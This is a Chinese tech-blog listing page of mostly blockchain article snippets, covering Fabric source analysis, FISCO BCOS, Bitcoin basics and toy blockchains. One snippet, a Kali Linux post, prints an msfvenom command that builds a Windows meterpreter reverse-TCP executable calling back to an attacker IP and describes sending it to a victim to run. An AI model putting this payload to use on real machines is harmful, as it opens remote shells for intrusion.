经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
 区块链

区块链技术开发路线 - 雄霸天下-无人能挡

文章转载自:http: www.pythonheidong.com/blog/article/4056/ 〇、背景陈述:     已经对区块链领域的学习研究了一段时间。总体来说,前期主要是围绕bitcoin架构及其源码学习的,但对这个领域的技术开发还是不太熟悉。为了使自己对区块链领域有一个系...[2019/8/15]

使用 C# 编写自己的区块链挖矿算法 - 雄霸天下-无人能挡

文章转载自:http: www.pythonheidong.com/blog/article/4060/ 文章原文来自:Code your own blockchain mining algorithm in Go! ,原始文章通过 Go 语言来实现的,这里仍然是承接上一篇文章,来使用 C# ...[2019/8/15]

FISCO BCOS 2.0原理解析: 群组架构的设计 - FISCO-BCOS

为了方便企业、开发者更深入理解FISCO BCOS 2.0诸多新特性,更快速地运用FISCO BCOS搭建联盟链应用,我们启动了FISCO BCOS 2.0系列剖析的计划。在后续的推送中,我们将陆续推出《FISCO BCOS 2.0原理解析》、《FISCO BCOS 2.0使用教程》、《FI...[2019/8/2]

docker企业实战视频教程

Docker是一个开源的引擎,可以轻松的为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署,包括VMs(虚拟机)、bare metal、OpenStack 集群和其他的基础应用平台。  Docker通常用于如下场景: ...[2019/8/2]

区块链的速度困境:“贵”在信任,“慢”得其所 - FISCO-BCOS

    (本文原创作者:张开翔-FISCO BCOS首席架构师 ) 区块链领域最受关注的一个方面是“性能”,或者说“TPS”,比起来有种“不服就跑个分”的感觉。跑分项包括TPS(...[2019/7/25]

区块链交易验证的一点心得

以太坊交易验证 一直以来我都误以为以太坊交易验证整个是放进虚拟机(EVM)来执行的。最近才意识到在执行之前需要先验证签名而且是必须先验证签名,既: 1. 验证签名。 2. 虚拟机执行交易。 在说此设计的必要性之前有个大家都共识的是: 交易执行失败是需要扣手续费的,然而因为签名不...[2019/7/24]

区块链世界里不能信什么? - FISCO-BCOS

? 大家好,我是张开翔。 上一篇分享了“信任区块链时究竟在信任什么?”(还没看的童鞋,点击标题可直达),这次换个角度,漫步月之暗面,谈谈在区块链系统和业务设计时,不信任什么。 先讲结论: 几乎什么都不能信!   建立Don''t...[2019/7/24]

人民网基于FISCO BCOS区块链技术推出“人民版权”平台 - FISCO-BCOS

FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。 代码仓库:https: github.com/FIS...[2019/7/23]

Hyperledger Fabric 命令整理

Peer节点命令 Peer node start 启动一个Peer节点: peer node start status 获取当前节点的状态信息 peer node status reset 重置当前节点加入的通道所有的数据到创世区块,意思就是说删除当前Peer接收到的所有区块信息。执行当前...[2019/7/12]

区块链的入门

参考链接: http: www.ruanyifeng.com/blog/2017/12/blockchain-tutorial.html   特别提醒:比特币采用区块链技术,但是区块链并不等同于比特币; 首先不要把区块链想的过于高深,他是一个分布在全球各地、能够协同运转的...[2019/7/12]

联盟链FISCO BCOS v2.0.0-rc3 发布 - FISCO-BCOS

FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。      ...[2019/7/9]

Hyperledger Fabric相关文件解析

1相关文件说明 这一部分涉及相关配置文件的解析, 网络的启动涉及到多个文件,本文按以下顺序进行分析: . ├── base │?? ├── docker-compose-base.yaml #1 │?? └── peer-base.yaml #2 ├── channel-artifac...[2019/7/9]

Fabric1.4源码解析:链码实例化过程

之前说完了链码的安装过程,接下来说一下链码的实例化过程好了,再然后是链码的调用过程。其实这几个过程内容已经很相似了,都是涉及到Proposal,不过整体流程还是要说一下的。 同样,切入点仍然是fabric/peer/main.go文件中的main()方法: #这一句定义了关于通过Peer节点操作...[2019/7/8]

Fabric1.4源码解析:Peer节点启动过程

看一下Peer节点的启动过程,通常在Fabric网络中,Peer节点的启动方式有两种,通过Docker容器启动,或者是通过执行命令直接启动。 一般情况下,我们都是执行docker-compose -f docker-*.yaml up命令通过容器启动了Peer节点,而如果直接启动Peer节点则是执...[2019/7/8]

Fabric1.4源码解析:Peer节点加入通道

??????又开始新的阅读了,这次看的是Peer节点加入通道的过程。其实每次看源码都会有好多没有看懂的地方,不过相信只要坚持下去,保持记录,还是有很多收获的。 ??????对于Peer节点加入通道这一过程,从用户角度来说也只是简单执行一行命令: peer channel join -b mych...[2019/7/5]

Fabric1.4源码解析:客户端安装链码

??????看了看客户端安装链码的部分,感觉还是比较简单的,所以在这里记录一下。 ??????还是先给出安装链码所使用的命令好了,这里就使用官方的安装链码的一个例子: #-n 指定mycc是由用户定义的链码名字,-v 指定1.0是链码的版本,-p ...是指定链码的路径 peer chainco...[2019/7/5]

python简单区块链模拟详解

最近学习了一点python,那就试着做一做简单的编程练习。 首先是这个编程的指导图,如下: 对的,类似一个简单区块链的模拟。 代码如下: cla DaDaBlockCoin: #index 索引,timestamp 时间戳,data 交易记录,s...[2019/7/4]

python区块及区块链的开发详解

接着上一篇交易记录整合交易类,这里描述区块的开发。 首先我们要明白一个区块,需要的内容,包括交易记录集合,时间戳,哈希,上一个区块的哈希。明白了这个,下面就容易代码开发了。 import datetime import hashlib from Me age import Da...[2019/7/4]

Fabric1.4源码解析:客户端创建通道过程

在使用Fabric创建通道的时候,通常我们执行一条命令完成,这篇文章就解析一下执行这条命令后Fabric源码中执行的流程。 peer channel create -o orderer.example.com:7050 -c mychannel -f ./channel-artifact cha...[2019/7/2]

区块链学习(四)truffle部署编译智能合约以太坊私有链

区块链学习(四)truffle部署编译智能合约以太坊私有链

前面我们介绍了以太坊私有链的搭建以及多节点私有链网络,这次我们介绍如何使用truffle框架来部署编译智能合约到我们之前搭建的私有链网络中。 搭建环境及需使用的工具:ubuntu18.04  Truffle v5.0.18  geth 1.8.27&nb...[2019/7/1]

使用JavaScript实现量化策略并发执行

本文代码和文章发在FMZ发明者比特币量化交易平台上: 使用JavaScript实现量化策略并发执行--封装Go函数 - 发明者量化?www.fmz.com 在实现量化策略时,很多情况下,并发执行可以降低延时提升效率。以对冲机器人为例,需要获取两个币的深度,顺序执行的代码如下: va...[2019/6/29]

区块链学习(二)以太坊私有链搭建

经过一段时间关于以太坊的学习,博主也算是对区块链以及以太坊有了一个初步的了解,整理一篇关于以太坊搭建私有链的方法。 若想以太坊节点之间能够相互连接需要满足一定的条件: 相同的协议版本 相同的network id 搭建私有链最简单的方式就是使用geth里的 --network 选...[2019/6/28]

聊聊区块链,虽然我不挖矿!

? 封面 摩尔定律说硬件18月会性能翻一番,还有不知道哪个大拿说软件技术也会4年一个革命,也就是让大家活到老学到呗,作为一个技术型的产品经理,为了不落后,也抽了点时间研究一下区块链的相关知识,这里写一点的区块链的见解,欢迎讨论,文末有相关书籍和资料推荐,请扩展阅读。 说到区块链,大家就会联想...[2019/6/27]

深入解析Hyperledger Fabric启动的全过程

在这篇文章中,使用fabric-sample first-network中的文件进行fabric网络(solo类型的网络)启动全过程的解析。如有错误欢迎批评指正。 至于Fabric网络的搭建这里不再介绍,可以参考这一篇文章Hyperledger Fabric环境搭建过程 fabric网络:单机,s...[2019/6/26]

FISCO BCOS WorkShop | 区块链开发特训营,开课啦! - FISCO-BCOS

FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。 代码仓库:https: github.com/FIS...[2019/6/26]

第四章 自己动手写比特币之钱包

概览 生成钱包 钱包余额 生成交易 使用钱包 测试体验 小结 概览 钱包的目的是为了给用户创建更高层的抽象接口来对交易进行管理。 我们最终的目的是让用户可以方便的: 创建一个新钱包 查看钱包的余额 在钱包之间进行交易 以上这些生效后,用户就不需要知道上一章节中描述的inputs和out...[2019/6/25]

自己动手实现区块链

200行代码实现一个最小化可工作区块链,1500行代码实现一个加密货币网络系统。如果这次你还不能理解区块链是怎么回事的话,你打我!如果理解了,你打赏我,github项目右上方给我打个星,Star一下以示鼓励! 本教程将带领大家从零开始开发一套可行的加密货币系统。开发的基本原则就是尽量的简单易...[2019/6/25]

Fabric1.4源码解析:Peer节点背书提案过程

以前从来没有写过博客,从这段时间开始才开始写一些自己的博客,之前总觉得写一篇博客要耗费大量的时间,而且写的还是自己已经学会的,觉得没什么必要。但是当开始用博客记录下来的时候,才发现有些学会的地方只是自己觉得已经学会了,还是有太多地方需要学习,眼高手低了,所以以后会养成写博客的好习惯,保持记录。 今...[2019/6/25]

36小时极客嘉年华!FISCO BCOS黑客马拉松报名启动 - FISCO-BCOS

FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。 代码仓库:https: github.com/FIS...[2019/6/25]

Hyperledger Fabric环境搭建过程

简单记录一下fabric版本1.4的环境搭建,运行环境为Ubuntu18.04,其中一些内容是根据官方文档整理的,如有错误欢迎批评指正。 本文只介绍最简单的环境搭建方法,具体的环境搭建解析在这里深入解析Hyperledger Fabric启动的全过程 。 1.搭建Fabric的前置条件 为了提高...[2019/6/24]

Hyperledger Fabric的多机部署

Hyperledger Fabric的多机部署

之前的文章深入解析Hyperledger Fabric启动的全过程主要讲解了Fabric的网络搭建,以及启动的整体流程,但是都是通过单机完成的。而区块链本身就是去中心化的,所以最终还是要完成Fabric网络的多机部署。在本文中,将会详细说明Fabric如何完成多机部署。 1 搭建环境 本文使用的...[2019/6/24]

Kali-利用metasploit中的exploit/multi/handler进行攻击

在攻击服务器上生成连接软件,LHOST为攻击机IP地址msfvenom -p window meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o met.exe打开msfconsole控制台将软件发给客户机上运行,此时ka...[2019/6/24]

第一章:最小可行区块链

第一章:最小可行区块链

概览 区块数据结构 区块哈希 创世块 创建区块 保存区块链 验证区块完整性 选择最长链 节点间通信 操作节点 架构 运行测试 小结 概览 区块链的基础概念非常简单, 说白了就是一个维护着一个持续增长的有序数据记录列表的这么一个分布式数据库。在此章节中我们将实现一个简单的玩具版的区块链。此章节结...[2019/6/24]

Fabric1.4源码中链码容器启动过程解析

Fabric1.4源码中链码容器启动过程解析

想写点东西记录一下最近看的一些Fabric源码,本文使用的是fabric1.4的版本,所以对于其他版本的fabric,内容可能会有所不同。 其实我仅仅知道Go语言一些语法的使用,并不太熟悉Go语言,所以解析的内容可能会有误,欢迎大家批评指正。 本文想针对Fabric中链码容器的启动过程进行源码的解...[2019/6/24]

Cocos-BCX开发入门之cli_wallet

Cocos-BCX简介 区块链技术作为近几年来最具争议的技术,吸引了全世界的关注,尽管人们对它的评价却褒贬不一,有的人认为它就是一场骗局,亦或是一场投机者的狂欢,不过我却认为它真的能够对我们的生活带来一些改变,尤其是最近一年,区块链正在褪去只能炒币的形象,更多的结合到了我们的实际生活中给我们带来了...[2019/6/21]

比特币原理——交易与UTXO

UTXO UTXO (Unspent Transaction Output) 未花费交易输出 传统的支付系统都是基于账户(account based)的,即: 若A向B转账20元 判断A的账户余额大于等于20元; 在B的账户上加20元; 同时在A的账户上减20元。 使用UTXO模型的加密货...[2019/6/17]

支付宝上线区块链就医系统,看病时间减少60%

支付宝上线区块链就医系统,看病时间减少60%

据新浪浙江消息,全国首个区块链电子票据平台——浙江区块链电子票据平台(以下简称“平台”)今日正式上线。以后浙江市民看病无需前往窗口排队付钱,通过支付宝即可一键挂号、付款、查看票据,所有信息通过“平台”流转,平均就医时间减少60%。 此番上线,“平台”首批将覆盖浙一、浙二、浙大邵逸夫医院等在内的...[2019/6/13]

人民网慕课联手FISCO BCOS开源社区上线“区块链学院” - FISCO-BCOS

FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。 代码仓库:https: github.com/FIS...[2019/6/12]

说信任区块链时究竟在信任什么? - FISCO-BCOS

FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。 代码仓库:https: github.com/FISCO...[2019/6/11]

机器学习中的度量——字符串距离

机器学习中的度量——字符串距离

??????机器学习是时下流行AI技术中一个很重要的方向,无论是有监督学习还是无监督学习都使用各种“度量”来得到不同样本数据的差异度或者不同样本数据的相似度。良好的“度量”可以显著提高算法的分类或预测的准确率,本文中将介绍机器学习中各种“度量”,“度量”主要由两种,分别为距离、相似度和相关系数,距...[2019/6/10]

比特币白皮书-学习笔记

1.简介(Introduction) 比特币这种电子支付系统,基于密码学原理而不基于信用。 点对点交易,不存在第三方中介的参与。 杜绝交易回滚的可能,防止欺诈。 2.交易(Transactions) 定义一枚电子货币就是一串数字签名链(coin as chain),每一位发送者通过对前一次交易...[2019/6/10]

联盟链FISCO BCOS权限控制一览 - FISCO-BCOS

FISCO BCOS是完全开源的联盟区块链底层技术平台,由金融区块链合作联盟(深圳)(简称金链盟)成立开源工作组通力打造。开源工作组成员包括博彦科技、华为、深证通、神州数码、四方精创、腾讯、微众银行、亦笔科技和越秀金科等金链盟成员机构。 代码仓库:https: github.com/FIS...[2019/5/31]

Hyperledger Fabric创建通道抛错Error: got unexpected status: FORBIDDEN -- Failed to reach implicit threshold of 1 sub-policies, required 1 remaining: permission denied解决方案

Hyperledger Fabric创建通道抛错Error: got unexpected status: FORBIDDEN -- Failed to reach implicit threshold of 1 sub-policies, required 1 remaining: permission denied解决方案

安装Hyperledger Fabric,服务整个都跑起来了,但是抛了一个错,Error: got unexpected status: FORBIDDEN -- Failed to reach implicit threshold of 1 sub-policies, required 1 re...[2019/5/31]

珠宝juelrye英语juelrye宝石

jewellery (usually uncountable, plural jewelleries) 1.(British spelling, Canadian) Collectively, personal ornamentation such as rings, necklaces, br...[2019/5/27]

英语foteball足球历史

foteball n.足球 现代足球 参见:现代足球 现代足球起源地是在英格兰。传说在11世纪,英格兰与丹麦之间有过一场战争,战争结束后,英格兰人在清理战争废墟时发现一个丹麦入侵者的头骨,出于愤恨,他们便用脚去踢这个头骨,一群小孩见了便也来踢,不过他们发现头骨踢起来脚痛,于是用牛膀...[2019/5/20]

证券secuerity经济术语

证券secuerity经济术语

证券按其性质不同,证券可以分为证据证券、凭证证券和有价证券三大类。证据证券只是单纯地证明一种事实的书面证明文件,如信用证、证据、提单等;凭证证券是指认定持证人是某种私权的合法权利者和持证人纪行的义务有效的书面证明文件,如存款单等。有价证券区别于上面两种证券的主要特征是可以让渡。 证券 百科...[2019/5/20]

基于Tendermint的区块链漂流瓶简单实现

基于Tendermint的区块链漂流瓶简单实现

本文主要借demo介绍基于Tendermint的区块链应用开发,这个demo很简单,主要包含以下功能: 扔漂流瓶 捞漂流瓶 之后投放者和打捞者可以相互传递[加密]信息 代码已上传至github。 Tendermint Tendermint帮我们实现了PBFT,相当于搭...[2019/5/10]

实现CTF智能合约题目的环境部署

本文章是参考一位大佬博客学来的。 智能合约题的环境主要包括两部分:一个是智能合约的部署,另一个就是监听合约事件进而发送flag的脚本。 智能合约部署 这里写的合约是指solidity合约,使用Remix IDE。 合约主要部署到以太坊测试链而非主链上(没钱??),几个主要的测试链:Ropsten...[2019/5/5]

EOS 资源汇总

EOS 资源汇总     A curated list of EOS Ecosystem by [SuperONE](https: uperone.io/) EOS 主网 超级节点 https: eos.live,EOS ...[2019/5/5]

Bitcoin: A Peer-to-Peer Electronic Cash System

https: bitcoincore.org/bitcoin.pdf 原文链接:http: www.cnblogs.com/ethereum/p/10794257.html[2019/4/30]

566
2
记录数:245 页数:1/512345下一页尾页
加载更多